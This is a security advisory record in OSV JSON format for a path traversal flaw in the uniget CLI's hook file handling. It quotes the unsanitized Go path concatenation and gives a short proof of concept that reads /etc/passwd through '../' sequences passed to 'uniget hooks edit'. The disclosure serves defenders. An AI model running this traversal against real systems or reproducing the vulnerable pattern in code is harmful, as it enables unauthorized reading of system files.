{"id":"GHSA-m6jg-wr9m-cg2f","summary":"uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability","details":"### Summary\nPath Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html).\n\n**Details**\nFile: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) `Lines 135-160`\n```\nhookFileName := args[0]  // User input not validated\nhookFile = preInstallHooksDir + \"/\" + hookFileName  // Direct concatenation\n```\n\nHook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.\n\n\n\n### PoC\n**Step 1:** Set cat as editor\n```\nexport EDITOR=\"cat\"\n```\n**Step 2:** Read /etc/passwd via path traversal\n\n```\n./uniget hooks edit --type=pre-install \"../../../../etc/passwd\"\n```\n\n**Step 3:** Output shows file contents\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n[...]\n```\n\n\u003cimg width=\"1014\" height=\"178\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab\" /\u003e","aliases":["CVE-2026-55062","GO-2026-6247"],"modified":"2026-08-18T15:11:12.890166681Z","published":"2026-08-17T17:46:33Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-08-17T17:46:33Z","nvd_published_at":null,"cwe_ids":["CWE-22","CWE-23","CWE-36","CWE-73"]},"references":[{"type":"WEB","url":"https://github.com/uniget-org/cli/security/advisories/GHSA-m6jg-wr9m-cg2f"},{"type":"WEB","url":"https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91"},{"type":"PACKAGE","url":"https://github.com/uniget-org/cli"},{"type":"WEB","url":"https://github.com/uniget-org/cli/releases/tag/v0.27.6"}],"affected":[{"package":{"name":"gitlab.com/uniget-org/cli","ecosystem":"Go","purl":"pkg:golang/gitlab.com/uniget-org/cli"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.27.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-m6jg-wr9m-cg2f/GHSA-m6jg-wr9m-cg2f.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}]}